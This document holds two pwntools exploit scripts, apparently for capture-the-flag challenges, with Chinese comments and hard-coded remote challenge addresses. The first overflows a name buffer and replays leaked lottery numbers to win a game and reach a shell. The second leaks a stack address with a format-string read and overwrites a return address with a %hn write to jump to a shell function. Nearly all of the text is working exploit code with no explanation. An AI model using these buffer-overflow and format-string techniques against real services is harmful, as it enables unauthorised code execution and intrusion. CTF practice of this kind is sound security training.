1
from pwn import *
2

3
file = "./BoFido"
4
elf = ELF(file)
5

6
context(arch=elf.arch, os='linux')
7

8

9
a, b, c = 0, 0, 0
10
j = [[],[],[]]
11

12

13
def play_round(io, round_num):
14
    global a, b, c
15

16

17
    if round_num == 1:
18

19
        io.sendlineafter(b'please choose your numbers:\n', b"1 2 3")
20
    else:
21

22
        io.sendlineafter(b'please choose your numbers:\n', f"{a} {b} {c}".encode())
23

24

25
    io.recvuntil(b"The lucky number is: ")
26
    line = io.recvline().decode().strip()
27
    a, b, c = map(int, line.split())
28

29
    prize = io.recvuntil(b"Congratulations! You won", drop=True)
30
    j[0].append(a)
31
    j[1].append(b)
32
    j[2].append(c)
33
    success(f"Round {round_num}: Lucky numbers {j[0][round_num-1]} {j[1][round_num-1]} {j[2][round_num-1]} - {prize.decode()}")
34

35
# 在线上/本地跑一遍程序，获取随机数
36
#---------------------------------------------------
37

38
if args.REMOTE:
39
    io = remote('39.107.58.236', 44623)
40
else:
41
    io = process(file)
42

43

44
io.recvuntil(b"Enter your name:")
45
io.sendline(b'A'*0x25)
46

47
for round_num in range(1,11):
48
    play_round(io, round_num)
49
#---------------------------------------------------
50

51
# 根据前面获得的数直接打
52
#---------------------------------------------------
53
if args.REMOTE:
54
    io = remote('39.107.58.236', 44623)
55
else:
56
    io = process(file)
57

58
io.recvuntil(b"Enter your name:")
59
io.sendline(b'A'*0x25)
60

61
for i in range(10):
62
    io.sendlineafter(b'please choose your numbers:\n', f"{j[0][i]} {j[1][i]} {j[2][i]}".encode())
63
    io.recvuntil("Congratulations! You won the first prize!",timeout=2)
64
    success(f"Round {i+1} , Pass")
65

66

67
io.recvuntil(b"You're so lucky! Here is your gift!", timeout=1)
68
io.interactive()
69

70
#---------------------------------------------------

1
from pwn import *
2
import LibcSearcher
3

4
file = "./pwn"
5
elf = ELF(file)
6

7
context(arch=elf.arch,os='linux')
8

9
if args['DEBUG']:
10
    context.log_level = 'debug'
11

12

13
if args['REMOTE']:
14
    io = remote('192.168.202.151', 32768)
15
else:
16
    io = process(file)
17

18

19

20
if elf.arch == 'i386':
21
    B = 4
22
elif elf.arch == 'amd64':
23
    B = 8
24
else:
25
    print("PLS Input The Address Byte: ")
26
    B = int(input())
27
print("B=" +str(B))
28

29
sla = lambda ReceivedMessage,SendMessage :io.sendlineafter(ReceivedMessage,SendMessage)
30
sl = lambda SendMessage :io.sendline(SendMessage)
31
sa = lambda ReceivedMessage,SendMessage :io.sendafter(ReceivedMessage,SendMessage)
32
rcv = lambda ReceiveNumber, TimeOut=Timeout.default :io.recv(ReceiveNumber, TimeOut)
33
rcu = lambda ReceiveStopMessage, Drop=False, TimeOut=Timeout.default :io.recvuntil(ReceiveStopMessage,Drop,TimeOut)
34

35
sl(b"supersecureuser")
36

37
sla(b"Write Something\n",b"%10$p")
38

39
leak_addr = int(io.recv(14), 16) +8 - 0x50
40
success("Leak Address:" + hex(leak_addr))
41

42
shell_addr = 0x1261 +1
43
payload = "%{}c%8$hnAAAAA".format(shell_addr).encode() + p64(leak_addr)
44
print(payload)
45
sl(b"supersecureuser")
46
#gdb.attach(io)
47

48
sla(b"Write Something",payload)
49

50
io.interactive()